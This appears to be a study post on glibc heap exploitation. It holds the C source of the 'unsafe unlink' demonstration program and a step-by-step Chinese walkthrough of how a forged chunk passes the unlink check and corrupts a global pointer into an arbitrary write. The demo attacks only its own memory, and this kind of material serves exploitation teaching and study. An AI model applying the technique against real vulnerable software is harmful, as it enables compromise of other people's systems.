源代码
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 #include <stdint.h> 5 6 7 uint64_t *chunk0_ptr; 8 9 int main() 10 { 11 fprintf(stderr, "Welcome to unsafe unlink 2.0!\n"); 12 fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n"); 13 fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); 14 fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); 15 16 int malloc_size = 0x80; //we want to be big enough not to use fastbins 17 int header_size = 2; 18 19 fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); 20 21 chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 22 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 23 fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); 24 fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); 25 26 fprintf(stderr, "We create a fake chunk inside chunk0.\n"); 27 fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); 28 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); 29 fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); 30 fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); 31 chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); 32 fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); 33 fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]); 34 35 fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); 36 uint64_t *chunk1_hdr = chunk1_ptr - header_size; 37 fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); 38 fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); 39 chunk1_hdr[0] = malloc_size; 40 fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]); 41 fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); 42 chunk1_hdr[1] &= ~1; 43 44 fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); 45 fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); 46 free(chunk1_ptr); 47 48 fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); 49 char victim_string[8]; 50 strcpy(victim_string,"Hello!~"); 51 chunk0_ptr[3] = (uint64_t) victim_string; 52 53 fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); 54 fprintf(stderr, "Original value: %s\n",victim_string); 55 chunk0_ptr[0] = 0x4141414142424242LL; 56 fprintf(stderr, "New Value: %s\n",victim_string); 57 }
运行结果
首先申请一个0x80大小的堆块chunk0,数据首地址存放在全局变量chunk0_ptr处
然后再申请一个0x80大小的chunk1
之后再chunk0中伪造一个0x70+0x10大小的堆fake
伪造fake->fd=&chunk0_ptr-0x18
fake->bk=&chunk0_ptr-0x10
绕过unlink时
P->fd->bk != P || P->bk->fd != P) == False的检测
之后再修改chunk1->prev_size=0x80 即为伪造堆fake的大小0x70+0x10
chunk1->size->prev_inuse=0
造成伪造的堆fake已释放的假象
可以看到0x603090处由0x00变为0x80 0x603098处由0x91变为0x90
之后free(chunk1) 因为前一块堆fake被伪造成了已释放的样子
两块都释放的堆块相连,所以向前合并
会执行unlink(fake)操作,这会修改&fake的值,即chunk0_ptr的值
chunk0_ptr=fake->fd=&chunk0_ptr-0x18
之后修改chunk0_ptr[3]的内容 即为修改chunk_ptr的值
这里将chunk_ptr赋值为字符串地址
再修改chunk_ptr[0]的值,即为修改chunk_ptr所指地址处前8字节内容
这里将字符串地址处前8字节修改为BBBBAAAA
这里例子展示了unsafe_unlink,可以造成向指定地址写入任意内容的危害。